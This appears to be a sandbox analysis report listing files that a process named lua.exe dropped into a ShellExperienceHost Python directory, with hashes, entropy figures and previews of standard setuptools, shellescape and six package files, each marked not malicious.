SHA-256:	D1EDC77552971CBE35E4EEE7A7E014AA11055CF3EE0DD24A6C8E3B72143F0C4E
SHA-512:	E561FF14CE621D240D0CB2322BDD756A18A3D6784DADE25D621AB3CD20C170E3E43A3B9B9BF78531C8D5517B4153D4E65FBB106C0800E1B0976EB6073346D82F
Malicious:	false
Preview:	""".Monkey patching of distutils.."""..import sys.import distutils.filelist.import platform.import types.import functools.from importlib import import_module.import inspect..import setuptools..__all__ = [].""".Everything is private. Contact the project team.if you think you need this functionality.."""...def _get_mro(cls):. """. Returns the bases classes for cls sorted by the MRO... Works around an issue on Jython where inspect.getmro will not return all. base classes if multiple classes share the same name. Instead, this. function will return a tuple containing the class itself, and the contents. of cls.__bases__. See https://github.com/pypa/setuptools/issues/1024.. """. if platform.python_implementation() == "Jython":. return (cls,) + cls.__bases__. return inspect.getmro(cls)...def get_unpatched(item):. lookup = (. get_unpatched_class if isinstance(item, type) else. get_unpatched_function if isinstance(item, types.FunctionType) else.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\msvc.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	51197
Entropy (8bit):	4.4264752153602585
Encrypted:	false
SSDEEP:	768:FRqZmbB+7Enh2/Dex5GC5RanIp4C3qC28v4xOV3IDFb:Fw5y+Dex9RanIp4C3qDXFb
MD5:	9FB7C55769C417048AD09B534CDE60D0
SHA1:	8AEF996D4A8F0A08E54CC238C27B8BE0522F5AB4
SHA-256:	3C7B235A74F0683D768032759DBB7D5A4711BF038E7D32B437BC397E64D94D2D
SHA-512:	620C1BB72F7644316A4CF924AB25DBA2D95DCE6A02F8DD0888C25C32699A71BD468308B017DEF6F9DF9F7B7980C8AF86A566F0F6C10DE0D5EA51A46E98322DAD
Malicious:	false
Preview:	""".Improved support for Microsoft Visual C++ compilers...Known supported compilers:.--------------------------.Microsoft Visual C++ 9.0:. Microsoft Visual C++ Compiler for Python 2.7 (x86, amd64). Microsoft Windows SDK 6.1 (x86, x64, ia64). Microsoft Windows SDK 7.0 (x86, x64, ia64)..Microsoft Visual C++ 10.0:. Microsoft Windows SDK 7.1 (x86, x64, ia64)..Microsoft Visual C++ 14.X:. Microsoft Visual C++ Build Tools 2015 (x86, x64, arm). Microsoft Visual Studio Build Tools 2017 (x86, x64, arm, arm64). Microsoft Visual Studio Build Tools 2019 (x86, x64, arm, arm64)..This may also support compilers shipped with compatible Visual Studio versions.."""..import json.from io import open.from os import listdir, pathsep.from os.path import join, isfile, isdir, dirname.import sys.import platform.import itertools.import subprocess.import distutils.errors.from setuptools.extern.packaging.version import LegacyVersion..from .monkey import get_unpatched..if platform.system() == 'W

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\namespaces.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3093
Entropy (8bit):	4.3923260091811756
Encrypted:	false
SSDEEP:	96:2uzEKnQZH7XRuOIOLYRaHGo8JLQ3jdmbyncBQ5:8DcOIOlmbLQJmbHBQ5
MD5:	C6AA890D2E554A56082CE3D7FB65E7C1
SHA1:	1E476E210066950D20E85B2282342EE6EEB394F1
SHA-256:	3CCA8654F5CF610823513BC483D6C671C440908383AD0E8D9AC0E0FDFC04AF02
SHA-512:	81C9D4BA343223E1FDBFC069CDAC72C96F53502D26A0E6413E19FBFE0CCBF44B5288BA976249905DCB8E418CA9B9918DF7A39A8175B8B82D96C963DE1A8C2012
Malicious:	false
Preview:	import os.from distutils import log.import itertools...flatten = itertools.chain.from_iterable...class Installer:.. nspkg_ext = '-nspkg.pth'.. def install_namespaces(self):. nsp = self._get_all_ns_packages(). if not nsp:. return. filename, ext = os.path.splitext(self._get_target()). filename += self.nspkg_ext. self.outputs.append(filename). log.info("Installing %s", filename). lines = map(self._gen_nspkg_line, nsp).. if self.dry_run:. # always generate the lines, even in dry run. list(lines). return.. with open(filename, 'wt') as f:. f.writelines(lines).. def uninstall_namespaces(self):. filename, ext = os.path.splitext(self._get_target()). filename += self.nspkg_ext. if not os.path.exists(filename):. return. log.info("Removing %s", filename). os.remove(filename).. def _get_target(self):. return self.targe

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\package_index.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	40610
Entropy (8bit):	4.47352796485333
Encrypted:	false
SSDEEP:	384:gFWDEKqcgkrdSucK5ajsVA+bE79e8EMB+NopnyJ57NFF277oFRajO8gg98tT13O:gUhZMucKojMG7mNcnyb7BYY4L98tlO
MD5:	0834C1ECC0613116F94FF1E4D8C11731
SHA1:	9536EEEB425ECAA05D7DE3FF7973E5F59FCD4E39
SHA-256:	9512E369F60D991277FD93E6830754FC4BE1D813AEEB73C9A093D96EC5CF22B4
SHA-512:	6546C8378E59409E8F91A133A1E05ACCC17B979F8E265586298F1CA77F9737724A091FED64B2694A5E42D4EF53C3335844D1E41BB11315D618FE45EB80146D87
Malicious:	false
Preview:	"""PyPI and direct package downloading""".import sys.import os.import re.import io.import shutil.import socket.import base64.import hashlib.import itertools.import warnings.import configparser.import html.import http.client.import urllib.parse.import urllib.request.import urllib.error.from functools import wraps..import setuptools.from pkg_resources import (. CHECKOUT_DIST, Distribution, BINARY_DIST, normalize_path, SOURCE_DIST,. Environment, find_distributions, safe_name, safe_version,. to_filename, Requirement, DEVELOP_DIST, EGG_DIST,.).from setuptools import ssl_support.from distutils import log.from distutils.errors import DistutilsError.from fnmatch import translate.from setuptools.wheel import Wheel..EGG_FRAGMENT = re.compile(r'^egg=([-A-Za-z0-9_.+!]+)$').HREF = re.compile(r"""href\s=\s['"]?([^'"> ]+)""", re.I).PYPI_MD5 = re.compile(. r'<a href="([^"#]+)">([^<]+)</a>\n\s+\(<a (?:title="MD5 hash"\n\s+)'. r'href="[^?]+\?:action=show_md5&digest=([0-9a-f]{32})">m

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\py34compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	245
Entropy (8bit):	4.357135567119317
Encrypted:	false
SSDEEP:	6:L4oQ6JpLXwMJM4tD9H/D9usHg06D9/w9ft3ipv:L4x6JRwe9tDp/DMsgfD9w9ftAv
MD5:	CC3DFAA6AFE52E91A896A5F214A623C8
SHA1:	4FE2E414ADD89A8140913B50D59E93D8D667E89D
SHA-256:	29839DEB26D1C63056F0D266603F2DFD4CB2566CACA69157A87A452DDB251975
SHA-512:	9B438D051D83E26DC8E2EB33CDDCCB95F1CD11124692B5CC8AC3B9BA2185D8AC5F481855A34513518F901B68C217799F4BB6EE8E368F94761AB17FCA42FC69ED
Malicious:	false
Preview:	import importlib..try:. import importlib.util.except ImportError:. pass...try:. module_from_spec = importlib.util.module_from_spec.except AttributeError:. def module_from_spec(spec):. return spec.loader.load_module(spec.name).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\sandbox.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14151
Entropy (8bit):	4.550045959000402
Encrypted:	false
SSDEEP:	192:ZpkMBcEMaagIIqAMlPWTggHRfZHMHwkU0bu1HgHSCyPfBgIjy5LG4D:ZptagbqAtxPfBfjy5f
MD5:	414CC18D7B38F53884EE1BB38E96B30C
SHA1:	D46548788FBAF151EEE95EDA14F804E2B347BA82
SHA-256:	222AF199E0876E5D421D3EE910F810EAD4F1F7053CE789FE776A7CD12BBCB797
SHA-512:	14EF357BFFD38238852FAFA25F171662D92228F59C036FDEDBEAB7A2A6F0107294B73AFDED3B1D5461BF1D6717E8818B38ADCD9E9F42A975D79042CF3E28455E
Malicious:	false
Preview:	import os.import sys.import tempfile.import operator.import functools.import itertools.import re.import contextlib.import pickle.import textwrap.import builtins..import pkg_resources.from distutils.errors import DistutilsError.from pkg_resources import working_set..if sys.platform.startswith('java'):. import org.python.modules.posix.PosixModule as _os.else:. _os = sys.modules[os.name].try:. _file = file.except NameError:. _file = None._open = open...__all__ = [. "AbstractSandbox", "DirectorySandbox", "SandboxViolation", "run_setup",.]...def _execfile(filename, globals, locals=None):. """. Python 3 implementation of execfile.. """. mode = 'rb'. with open(filename, mode) as stream:. script = stream.read(). if locals is None:. locals = globals. code = compile(script, filename, 'exec'). exec(code, globals, locals)...@contextlib.contextmanager.def save_argv(repl=None):. saved = sys.argv[:]. if repl is not None:. sys.argv[:] =

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\script (dev).tmpl Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	218
Entropy (8bit):	4.933979931150322
Encrypted:	false
SSDEEP:	6:SWtKjcyXrvEXFov66Ji+DqMedPKejpCYI+dLC9:nKZJvVEPLlClOLC9
MD5:	762D226E24C456568A2F4305151094BE
SHA1:	982302A6A5664F02C8CC87407DC7F2F5B5FBD825
SHA-256:	454CD0CC2414697B7074BB581D661B21098E6844B906BAAAD45BD403FB6EFB92
SHA-512:	AB81BAF791AAFBA3391DFC0EBD32A87EC4820E044BC5CF53FAD7D27DABFA87D4979F76164EF017B3F5FD3DAEE544BF724B67D01E0EF8B72B6FA3223E5F23DD48
Malicious:	false
Preview:	# EASY-INSTALL-DEV-SCRIPT: %(spec)r,%(script_name)r.__requires__ = %(spec)r.__import__('pkg_resources').require(%(spec)r).__file__ = %(dev_path)r.with open(__file__) as f:. exec(compile(f.read(), __file__, 'exec')).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\script.tmpl Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	138
Entropy (8bit):	4.782879665178461
Encrypted:	false
SSDEEP:	3:SWsiKQ3shBMZoWGXrWWbpW6iFoqM/66JiWOQfDBWVSEqbZhGbWWun:SWtKQXyXrvEXFov66Ji+DgVSEqlhGban
MD5:	C7C13D61B7887915BFC911031126AF09
SHA1:	FA9B9F2E89357C8597490720B623D3B875136773
SHA-256:	5864EDE6989ECCEDBB73E0DBC7A9794384F715FDB4039CFBF3BDA1BF76808586
SHA-512:	1E115F1555DA61D2EF330FDE94010A0138C4D761342EA02B109B21F11F2E4EE59243B4137CB72FAFDF2347A4C56CE453E239E838E446EFD01A69706D25B6FBA0
Malicious:	false
Preview:	# EASY-INSTALL-SCRIPT: %(spec)r,%(script_name)r.__requires__ = %(spec)r.__import__('pkg_resources').run_script(%(spec)r, %(script_name)r).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\ssl_support.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8511
Entropy (8bit):	4.555026044431464
Encrypted:	false
SSDEEP:	192:QN/fVyjFNRUAmwQVuGJguywry4CAoiSVJgP4goRTSMPB:QN3AjFNyzmXAoiSduMPB
MD5:	FC360AEBFF832E3FEE937022EF4EBBDF
SHA1:	285A75FCE1EA5ABF9F4B4934F850B15EDB937F00
SHA-256:	DF2BB19982713EEA4BF7B7784418A1328D5408C5D2A2ED54A67E1513D8E4AB8F
SHA-512:	310CC5BF70EDBC7BAD2ED5EEC3DD25836C91E085650AE8EC7DC9A72AE3DC698470A08525B7C010800873B95D19B90528FB7CA78B01C39ADE2499CEC95734B88C
Malicious:	false
Preview:	import os.import socket.import atexit.import re.import functools.import urllib.request.import http.client...from pkg_resources import ResolutionError, ExtractionError..try:. import ssl.except ImportError:. ssl = None..__all__ = [. 'VerifyingHTTPSHandler', 'find_ca_bundle', 'is_available', 'cert_paths',. 'opener_for'.]..cert_paths = """./etc/pki/tls/certs/ca-bundle.crt./etc/ssl/certs/ca-certificates.crt./usr/share/ssl/certs/ca-bundle.crt./usr/local/share/certs/ca-root.crt./etc/ssl/cert.pem./System/Library/OpenSSL/certs/cert.pem./usr/local/share/certs/ca-root-nss.crt./etc/ssl/ca-bundle.pem.""".strip().split()..try:. HTTPSHandler = urllib.request.HTTPSHandler. HTTPSConnection = http.client.HTTPSConnection.except AttributeError:. HTTPSHandler = HTTPSConnection = object..is_available = ssl is not None and object not in (. HTTPSHandler, HTTPSConnection)...try:. from ssl import CertificateError, match_hostname.except ImportError:. try:. from backports.ssl_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\unicode_utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	941
Entropy (8bit):	4.404160600197225
Encrypted:	false
SSDEEP:	24:hIDP3g1Z5Ton5TdDdu/m9ITxk1Q+ImVYVwMmeKmtFTbmB0TlXZ:qrw1jWBdu/m9Kxk1QgaOreRtRboolZ
MD5:	01778F86BAEC59BCADF8BD6A3BBBBD84
SHA1:	DB0C1C9900F14ACAD89DB32481E30A4BD4A38C69
SHA-256:	68E385A38246C00B2206DB46603B2A152ED8A9641E6768FA0D6882B9CB51FF4D
SHA-512:	1E679BD932CBA232D63D20BA48C833772C580E6841E01852534EB96E099956B9B45E0D265D233EEF155499DC4E394F3177BB9FF825F565DB8AEE11FF60D8BC67
Malicious:	false
Preview:	import unicodedata.import sys...# HFS Plus uses decomposed UTF-8.def decompose(path):. if isinstance(path, str):. return unicodedata.normalize('NFD', path). try:. path = path.decode('utf-8'). path = unicodedata.normalize('NFD', path). path = path.encode('utf-8'). except UnicodeError:. pass # Not UTF-8. return path...def filesys_decode(path):. """. Ensure that the given path is decoded,. NONE when no expected encoding works. """.. if isinstance(path, str):. return path.. fs_enc = sys.getfilesystemencoding() or 'utf-8'. candidates = fs_enc, 'utf-8'.. for enc in candidates:. try:. return path.decode(enc). except UnicodeDecodeError:. continue...def try_encode(string, enc):. "turn unicode encoding into a functional routine". try:. return string.encode(enc). except UnicodeEncodeError:. return None.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.417898929027104
Encrypted:	false
SSDEEP:	3:JSgCtzUvq6qvDNqMWKwNzYCMyWn4GMgdFNfH/66qvALKSLCv:QzUSVDuDMxwMNHyVA5Cv
MD5:	E862A919EE80E66C10CC490DCC04D2DA
SHA1:	C48D73BB3510C68A51B30E14860E522F0E4E35D9
SHA-256:	A20FDCB9941BD1023ABA429915F6563E5AF51E02413CF9F6BCEDA6FDB23D6531
SHA-512:	2978EE0B5A23957D0A6872E225296F5B42FFE2D15A4CCBDCAD05A2ECF999A6CDE621F8E1A26D446B12DB001D8FFFBC0E32BADDD55EF563284FB9E8C40ADC82B1
Malicious:	false
Preview:	import pkg_resources..try:. __version__ = pkg_resources.get_distribution('setuptools').version.except Exception:. __version__ = 'unknown'.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\wheel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8288
Entropy (8bit):	4.437898799086932
Encrypted:	false
SSDEEP:	192:vTfiKbxpoj6q3qVfyadQUhefet8bVPvH0:rfimLsqlgfet8bVPM
MD5:	51889F16E3C63E530C6D149B29BCC984
SHA1:	1864EEFFB42A5C3C07E818E49EEEDED3402B6CFB
SHA-256:	D0FF2D4A4D74E6E17F51BFB7D0DD875365F6BFB30A0D2763A5E4254515B74A42
SHA-512:	A6BF70BB7ABB32E64E8A2B4C986EAB3978700952288730F8EFC4FCA47036365B6BB6568598E6672771905AF8C660680DAF953C93E595EC0B8555C623514DCD52
Malicious:	false
Preview:	"""Wheels support."""..from distutils.util import get_platform.from distutils import log.import email.import itertools.import os.import posixpath.import re.import zipfile..import pkg_resources.import setuptools.from pkg_resources import parse_version.from setuptools.extern.packaging.tags import sys_tags.from setuptools.extern.packaging.utils import canonicalize_name.from setuptools.command.egg_info import write_requirements...WHEEL_NAME = re.compile(. r"""^(?P<project_name>.+?)-(?P<version>\d.?). ((-(?P<build>\d.?))?-(?P<py_version>.+?)-(?P<abi>.+?)-(?P<platform>.+?). )\.whl$""",. re.VERBOSE).match..NAMESPACE_PACKAGE_INIT = \. "__import__('pkg_resources').declare_namespace(__name__)\n"...def unpack(src_dir, dst_dir):. '''Move everything under `src_dir` to `dst_dir`, and delete the former.'''. for dirpath, dirnames, filenames in os.walk(src_dir):. subdir = os.path.relpath(dirpath, src_dir). for f in filenames:. src = os.path.join(dirpath,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\windows_support.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	714
Entropy (8bit):	5.02310008177412
Encrypted:	false
SSDEEP:	12:d8UzCEgFfIWTiPnvZWrMKlDeMzbgaMKzkMKviMKMp/0tb/CQdFMg:jGN2WEvZyNlSihN4NviNMp/0tb/CQfh
MD5:	40BE0A33CC341934C40550D345CCDE28
SHA1:	340F8131F230DE0C5584DABE2745F2745337AE50
SHA-256:	E46ADFA923F6F9D2C6268653AB683A7422A4C90C716B69F92108979490A86041
SHA-512:	1511778CAD1852C6E35998FD064F91D58AA0C5B2E8427FD38D4B003A3CC073057C94C74A3C728F3E97D3B1A9F53FEA4DFF8D5965E208A462E2A4267EB1A2E593
Malicious:	false
Preview:	import platform.import ctypes...def windows_only(func):. if platform.system() != 'Windows':. return lambda args, *kwargs: None. return func...@windows_only.def hide_file(path):. """. Set the hidden attribute on a file or directory... From http://stackoverflow.com/questions/19622133/.. `path` must be text.. """. __import__('ctypes.wintypes'). SetFileAttributes = ctypes.windll.kernel32.SetFileAttributesW. SetFileAttributes.argtypes = ctypes.wintypes.LPWSTR, ctypes.wintypes.DWORD. SetFileAttributes.restype = ctypes.wintypes.BOOL.. FILE_ATTRIBUTE_HIDDEN = 0x02.. ret = SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN). if not ret:. raise ctypes.WinError().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2830
Entropy (8bit):	5.048867276892048
Encrypted:	false
SSDEEP:	48:Duh8Bkqf+dYjjQIUQIhQI4QIRjfuIuFyP97Xs9UTxtvxeZJkjI6izLxT8vmdnxdU:DuaBk7YjjQIUQIhQI4QIRHuFyP9789WD
MD5:	5AECEC973E6B24F5528EDEE69E3FA362
SHA1:	8256E60B51F3D03BDD9A58C705B4674612DDEDD6
SHA-256:	D09282B6C51A70614170F1664051176617FAB3A60BD47B6F263519C30B07C16D
SHA-512:	C13F53AD7717D8A423E9957D9F347B06A35A512D870B700E5AE331440FF6EC22866D69939F24A0A3260203A06F8B31DD775541AD2E0246C3641476644B6CF2C4
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: shellescape.Version: 3.8.1.Summary: Shell escape a string to safely use it as a token in a shell command (backport of cPython shlex.quote for Python versions 2.x & < 3.3).Home-page: https://github.com/chrissimpkins/shellescape.Author: Christopher Simpkins.Author-email: git.simpkins@gmail.com.License: MIT license.Keywords: shell,quote,escape,backport,command line,command,subprocess.Platform: any.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Natural Language :: English.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 3.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: POSIX.Classifier: Operating System :: Unix.Classifier: Operating System :: Microsoft :: Windows.Description-Content-Type: text/markdown..# shellescape..## Descript

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.779209984447832
Encrypted:	false
SSDEEP:	24:r6an/2zDU6a9/SPn6ar6a8l6alpnRMcCyzbvtpOHPLYQ0r9qLgfazp:xnuXgd4VxOlpnecHLtk0r9qL84
MD5:	054889DDCF9C4D408CA626A321A757C8
SHA1:	ECDA6713F0F6F39558A3916AD282528AF36BB283
SHA-256:	C7A698D14ADA8EA229F5F003B4EC4E67959DE52162C9934C8677B8A77CBCEBEE
SHA-512:	91C74BEB684C5DBE345BD9E7C30D07AD1B6A6A4C9323C34FAA699F105010C56B50B7ADC688F5D964692AFEFACBD191A18B30EF170211AA250487BB35C0897098
Malicious:	false
Preview:	shellescape-3.8.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..shellescape-3.8.1.dist-info/METADATA,sha256=0JKCtsUacGFBcPFmQFEXZhf6s6YL1HtvJjUZwwsHwW0,2830..shellescape-3.8.1.dist-info/RECORD,,..shellescape-3.8.1.dist-info/WHEEL,sha256=8zNYZbwQSXoB9IfXOjPfeNwvAsALAjffgk27FqvCWbo,110..shellescape-3.8.1.dist-info/top_level.txt,sha256=1nR_M9ikLI5pRQ3rfRuYjdDB9AjP3V9GAQITd5ohg98,12..shellescape/__init__.py,sha256=J9YVVI_M1jo_ZSqrPd7v379OhwJdfj65HyyrDTIGwAU,71..shellescape/__pycache__/__init__.cpython-37.pyc,,..shellescape/__pycache__/main.cpython-37.pyc,,..shellescape/__pycache__/settings.cpython-37.pyc,,..shellescape/main.py,sha256=t8Fy42MZOR3BEYyVPAY1ArIbHG_kJANIH7u3XLGm1fE,435..shellescape/settings.py,sha256=tcr2V8HBzoiMYSqwczFT7HYzKHc6UbR7p7C5Q_LV9T8,494..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.810105929829005
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVin3hP+tPCCf7irO5S:RtBMwlVi3hWBBwt
MD5:	E810E49A07579615336DFE1362445C07
SHA1:	7C415D7E52F9507D6414824277CFAE91AB5006E7
SHA-256:	F3335865BC10497A01F487D73A33DF78DC2F02C00B0237DF824DBB16ABC259BA
SHA-512:	3422782BB6F30F4CFFC8BA0648F4A18B2A942A602D7F2676C04402B1549B34E50C1F5F5CD12FC495D08A9C0DB82FB78503CA075BC2479F9519960A0F044B1F09
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.33.6).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12
Entropy (8bit):	2.855388542207534
Encrypted:	false
SSDEEP:	3:tpVK:rU
MD5:	125B56D947CE492D89283689EDF02F42
SHA1:	C07F055C2C976AC3332E902B194F5A89546875DB
SHA-256:	D6747F33D8A42C8E69450DEB7D1B988DD0C1F408CFDD5F46010213779A2183DF
SHA-512:	5B8849662E1F88E3FE69B4AAE916D3506C86B0D95C11C75A6AEF6C6A341667D77DC5B1509F8D70478D8042D81A6761FB6127D62965494B1F909979BE0069A75A
Malicious:	false
Preview:	shellescape.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	71
Entropy (8bit):	4.574416535955888
Encrypted:	false
SSDEEP:	3:TKQWaHMPAtcLaMIQlAyIz1IEMxMXByK:HWaH8aMtlAya5MxMxj
MD5:	F4936A0AE17AD71F92D0ED13F9DECD1F
SHA1:	8F29CFC461163ABD43CE3FE09BFFA21B7F8FF44F
SHA-256:	27D615548FCCD63A3F652AAB3DDEEFDFBF4E87025D7E3EB91F2CAB0D3206C005
SHA-512:	F6683E25F9DDD3EE5AD3E47CABBA04BED64B024D4A9B4D5D743ECFE9E83C17888DC99C7244A6B61C2CBC6419B558BF0B810648BFA09DF0701B18BE888FBD0E6B
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from .main import quote.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\main.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	435
Entropy (8bit):	4.674974009164637
Encrypted:	false
SSDEEP:	12:HtcKy9+xkZM04XJ9C2RX1ePB191/J0KxVcpVQ:moxk34Xrilh0KrcpVQ
MD5:	33941966AC4A93F6BFC7FAECCAC4A393
SHA1:	673E2D4DA9A195D04BBF82BB45C2030E47A831AB
SHA-256:	B7C172E36319391DC1118C953C063502B21B1C6FE42403481FBBB75CB1A6D5F1
SHA-512:	038B5F184672CC0D751DE95882895FC5EB6267457FFE757D459CE3DD19A754A30A3FEBB8F11E90C3704269B3D2D25CAB7E4F83CF94E813D2A1C7D6105236C2A8
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..import re..._find_unsafe = re.compile(r'[^\w@%+=:,./-]').search...def quote(s):. """Return a shell-escaped version of the string s.""". if not s:. return "''". if _find_unsafe(s) is None:. return s.. # use single quotes, and put single quotes into double quotes. # the string $'b is then quoted as '$'"'"'b'. return "'" + s.replace("'", "'\"'\"'") + "'".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\settings.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	494
Entropy (8bit):	2.6308671063756015
Encrypted:	false
SSDEEP:	6:HWaH8aMtlAy/SxzE/eo/gSzAsn5ImAGNV1AXWNrxNfn:HtcKyqxo2o/ZzAKWmA+1AmJn
MD5:	23D47206F4E2BA8C050492B769BC9289
SHA1:	8C9926FF331FA74ECDE3AB51EC716B83B5784B87
SHA-256:	B5CAF657C1C1CE888C612AB0733153EC763328773A51B47BA7B0B943F2D5F53F
SHA-512:	66BC29B922520BB4D140E236D20454B7534421489F7E367D5E1653D777AE3F169AF7D99A6F6285B0F0676FDE633F00F43FC02C416BF8EBF449B1282C61F3471E
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..# ------------------------------------------------------------------------------.# Application Name.# ------------------------------------------------------------------------------.app_name = 'shellescape'..# ------------------------------------------------------------------------------.# Version Number.# ------------------------------------------------------------------------------.major_version = "3".minor_version = "8".patch_version = "1"..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	5.11431191738939
Encrypted:	false
SSDEEP:	24:vrOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:vSJrlxEDdQHOs52TSaYFD
MD5:	43CFC9E4AC0E377ACFB9B76F56B8415D
SHA1:	AC6BA16D8833B691BBBDA7C8EB0C06891C78F98F
SHA-256:	8BB850C565AA389FDC16F3A46965AD23D82ADFF60F2393FC2762B63185E8E6C9
SHA-512:	24120CB7C7CC7D5A56FF8F1E9923826A67F0D92BBE5F50DC483603A90CC916E3C04C6DCBB29BFDE78E3D600D29FBB017A3D0CFD3A74F95E065CE53B74FD3776C
Malicious:	false
Preview:	Copyright (c) 2010-2020 Benjamin Peterson..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 